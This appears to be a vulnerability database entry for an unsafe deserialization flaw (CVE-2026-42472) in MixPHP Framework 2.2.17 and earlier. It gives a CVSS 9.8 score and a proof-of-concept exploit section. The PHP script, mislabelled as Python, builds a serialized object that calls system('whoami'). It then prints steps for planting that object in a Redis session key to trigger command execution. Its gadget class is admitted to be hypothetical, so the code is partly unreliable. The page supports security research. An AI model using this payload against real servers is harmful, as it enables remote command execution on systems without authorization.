Unsafe deserialization vulnerability in MixPHP Framework 2.x thru 2.2.17. The session and cache handlers use unserialize() on data from Redis in the RedisHandler object.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
MixPHP Framework 2.x
MixPHP Framework <= 2.2.17
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
/**
* PoC Generator for CVE-2026-42472
* MixPHP Framework <= 2.2.17 Unsafe Deserialization
*
* This script generates a malicious serialized payload.
* The payload targets the RedisHandler session/cache mechanism.
*/
namespace Mix\SyncInvoke;
// Hypothetical Gadget class based on referenced Server.php
// Attackers need to find a class in the framework with __destruct or __wakeup
// that performs dangerous actions (e.g., file operations, system calls).
class Server {
public $function;
public $arguments;
public function __construct() {
// Target function to execute (e.g., system, shell_exec)
$this->function = 'system';
// Command arguments
$this->arguments = ['whoami'];
}
}
// Generate the payload object
$payloadObject = new Server();
// Serialize the object
$maliciousPayload = serialize($payloadObject);
// Output the payload
echo "[+] Generated Malicious Payload:\n";
echo $maliciousPayload . "\n";
echo "\n[+] Usage Instructions:\n";
echo "1. Connect to the target Redis instance used by MixPHP.\n";
echo "2. Inject the payload into a session key or cache key.\n";
echo " Example Redis Command: SET PHPREDIS_SESSION:<session_id> '" . $maliciousPayload . "'\n";
echo "3. Trigger the MixPHP application to load the session/cache.\n";
echo "4. If a valid gadget chain exists, the command 'whoami' will execute.\n";
?>